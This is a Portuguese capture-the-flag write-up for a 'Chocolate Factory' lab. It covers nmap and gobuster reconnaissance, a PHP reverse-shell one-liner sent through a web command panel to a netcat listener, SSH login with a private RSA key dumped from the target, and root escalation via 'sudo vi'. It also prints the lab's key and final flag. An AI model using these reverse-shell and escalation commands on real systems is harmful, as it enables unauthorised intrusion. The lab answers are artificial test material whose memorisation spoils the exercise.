Writeup Chocolate Factory - Grupo 8

Primeiro, vamos fazer o mapeamento da rede, usando o nmap:

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 10.201.26.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 18:05 EDT
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 18:05 (0:00:00 remaining)
Stats: 0:02:47 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 27.27% done; ETC: 18:10 (0:02:45 remaining)
Stats: 0:02:48 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 27.27% done; ETC: 18:10 (0:02:45 remaining)
```

Após certo tempo, percebemos que o nmap estava demorando muito, isso se deve ao spoofing feito nas portas que estavam abertas. Para tentar achar uma solução mais rápida, selecionando apenas as portas principais (http,ftp,ssh) temos:

```
└─$ nmap -sV -T4 -p 21,22,80 10.201.26.95
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-29 18:34 EDT
Nmap scan report for 10.201.26.95
Host is up (0.33s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.05 seconds
```

Com isso, acessando http, vemos uma página de login, como não temos nenhuma pista, vamos fazer um fuzzing de diretórios para tentar encontrar alguma outra página “escondida”. Utilizando a ferramenta gobuster, e filtrando para arquivos php encontramos

```
gobuster dir -u http://10.201.26.95/ -w /usr/share/wordlists/dirb/common.txt -x php,txt -r
```

```
/.hta                 (Status: 403) [Size: 277]
/.hta.php             (Status: 403) [Size: 277]
/.hta.txt             (Status: 403) [Size: 277]
/.htaccess            (Status: 403) [Size: 277]
/.htpasswd.php        (Status: 403) [Size: 277]
/.htaccess.txt        (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htpasswd.txt        (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/home.php             (Status: 200) [Size: 569]
/index.html           (Status: 200) [Size: 1466]
/server-status        (Status: 403) [Size: 277]
```

Desse modo, acessando http://10.201.26.95/home.php, encontramos uma página apenas com um painel de comando, assim, podemos escrever o seguinte script que faz uma shell reversa para conseguirmos acesso. Procurando na internet, escrevemos seguinte comando

```
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

e antes de executarmos, colocamos um listener na porta 1234

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
```

executando o código no painel de comando, escrevemos os seguintes comandos na shell

```
$ whoami
www-data
$ pwd
/var/www/html
$ ls
home.jpg
home.php
image.png
index.html
index.php.bak
key_rev_key
validate.php
```

Para explorar key_rev_key, utilizamos “strings key_rev_key” e encontramos a seguinte chave:

```
 congratulations you have found the key:
b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='
```

Assim, achamos a primeira flag do desafio!
Explorando mais, encontramos em /home/ os seguintes diretórios

```
$ cd home
$ ls
charlie
ssm-user
ubuntu
```

acessando primeiramente /charlie/, encontramos os arquivos teleport, teleport.pub e user.txt, como apenas root tem acesso a user.txt ainda, vamos explorar os outros arquivos.

O primeiro, é uma chave privada RSA, que pode ser utilizado para entrar no ssh

```
$ cat teleport
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA4adrPc3Uh98RYDrZ8CUBDgWLENUybF60lMk9YQOBDR+gpuRW
1AzL12K35/Mi3Vwtp0NSwmlS7ha4y9sv2kPXv8lFOmLi1FV2hqlQPLw/unnEFwUb
L4KBqBemIDefV5pxMmCqqguJXIkzklAIXNYhfxLr8cBS/HJoh/7qmLqrDoXNhwYj
B3zgov7RUtk15Jv11D0Itsyr54pvYhCQgdoorU7l42EZJayIomHKon1jkofd1/oY
fOBwgz6JOlNH1jFJoyIZg2OmEhnSjUltZ9mSzmQyv3M4AORQo3ZeLb+zbnSJycEE
RaObPlb0dRy3KoN79lt+dh+jSg/dM/TYYe5L4wIDAQABAoIBAD2TzjQDYyfgu4Ej
Di32Kx+Ea7qgMy5XebfQYquCpUjLhK+GSBt9knKoQb9OHgmCCgNG3+Klkzfdg3g9
zAUn1kxDxFx2d6ex2rJMqdSpGkrsx5HwlsaUOoWATpkkFJt3TcSNlITquQVDe4tF
w8JxvJpMs445CWxSXCwgaCxdZCiF33C0CtVw6zvOdF6MoOimVZf36UkXI2FmdZFl
kR7MGsagAwRn1moCvQ7lNpYcqDDNf6jKnx5Sk83R5bVAAjV6ktZ9uEN8NItM/ppZ
j4PM6/IIPw2jQ8WzUoi/JG7aXJnBE4bm53qo2B4oVu3PihZ7tKkLZq3Oclrrkbn2
EY0ndcECgYEA/29MMD3FEYcMCy+KQfEU2h9manqQmRMDDaBHkajq20KvGvnT1U/T
RcbPNBaQMoSj6YrVhvgy3xtEdEHHBJO5qnq8TsLaSovQZxDifaGTaLaWgswc0biF
uAKE2uKcpVCTSewbJyNewwTljhV9mMyn/piAtRlGXkzeyZ9/muZdtesCgYEA4idA
KuEj2FE7M+MM/+ZeiZvLjKSNbiYYUPuDcsoWYxQCp0q8HmtjyAQizKo6DlXIPCCQ
RZSvmU1T3nk9MoTgDjkNO1xxbF2N7ihnBkHjOffod+zkNQbvzIDa4Q2owpeHZL19
znQV98mrRaYDb5YsaEj0YoKfb8xhZJPyEb+v6+kCgYAZwE+vAVsvtCyrqARJN5PB
la7Oh0Kym+8P3Zu5fI0Iw8VBc/Q+KgkDnNJgzvGElkisD7oNHFKMmYQiMEtvE7GB
FVSMoCo/n67H5TTgM3zX7qhn0UoKfo7EiUR5iKUAKYpfxnTKUk+IW6ME2vfJgsBg
82DuYPjuItPHAdRselLyNwKBgH77Rv5Ml9HYGoPR0vTEpwRhI/N+WaMlZLXj4zTK
37MWAz9nqSTza31dRSTh1+NAq0OHjTpkeAx97L+YF5KMJToXMqTIDS+pgA3fRamv
ySQ9XJwpuSFFGdQb7co73ywT5QPdmgwYBlWxOKfMxVUcXybW/9FoQpmFipHsuBjb
Jq4xAoGBAIQnMPLpKqBk/ZV+HXmdJYSrf2MACWwL4pQO9bQUeta0rZA6iQwvLrkM
Qxg3lN2/1dnebKK5lEd2qFP1WLQUJqypo5TznXQ7tv0Uuw7o0cy5XNMFVwn/BqQm
G2QwOAGbsQHcI0P19XgHTOB7Dm69rP9j1wIRBOF7iGfwhWdi+vln
-----END RSA PRIVATE KEY-----
```

Salvando essa chave no meu computador, e executando o seguinte comando, conseguimos entrar no ssh do charlie!

```
┌──(kali㉿kali)-[~]
└─$ ssh -i Desktop/ssh_do_charlie.txt charlie@10.201.26.95
```

Agora, tentando fazer uma escalação de privilégio, executamos o comando sudo -l.

```
charlie@ip-10-201-26-95:/home/charlie$ sudo -l
Matching Defaults entries for charlie on ip-10-201-26-95:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User charlie may run the following commands on ip-10-201-26-95:
    (ALL : !root) NOPASSWD: /usr/bin/vi
charlie@ip-10-201-26-95:/home/charlie$ sudo vi -c ':!/bin/sh' /dev/null
```

Aqui vemos que charlie consegue executar comandos “vi”, explorando mais em https://gtfobins.github.io/gtfobins/vi/, conseguimos ter acesso a root executando o seguinte comando

```
sudo vi -c ':!/bin/sh' /dev/null
```

Após executar o comando, conseguimos entrar como root!

```
# whoami
root
```

Agora explorando pelos diretórios, conseguimos finalmente abrir user.txt

o que é nossa terceira flag! Entrando no diretório /root/, finalmente achamos nossa última bandeira… INFELIZ! Executamos o comando ls pra ver o conteúdo de /root/ e vemos que a última flag é um arquivo root.py, acessando o conteúdo desse arquivo vemos:

```
# cat root.py
from cryptography.fernet import Fernet
import pyfiglet
key=input("Enter the key:  ")
f=Fernet(key)
encrypted_mess= 'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9
dcrypt_mess=f.decrypt(encrypted_mess)
mess=dcrypt_mess.decode()
display1=pyfiglet.figlet_format("You Are Now The Owner Of ")
display2=pyfiglet.figlet_format("Chocolate Factory ")
print(display1)
print(display2)
print(mess)#
```

Como podemos ver, o arquivo faz uma criptografia que depende da chave que encontramos anteriormente para descriptografar. Salvando esse código no nosso computador e rodando o programa vemos:

```
┌──(kali㉿kali)-[~]
└─$ python Downloads/HACKERMRROBOT.py
Enter the key:  -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=
```


```
flag{cec59161d338fef787fcb4e296b42124}
```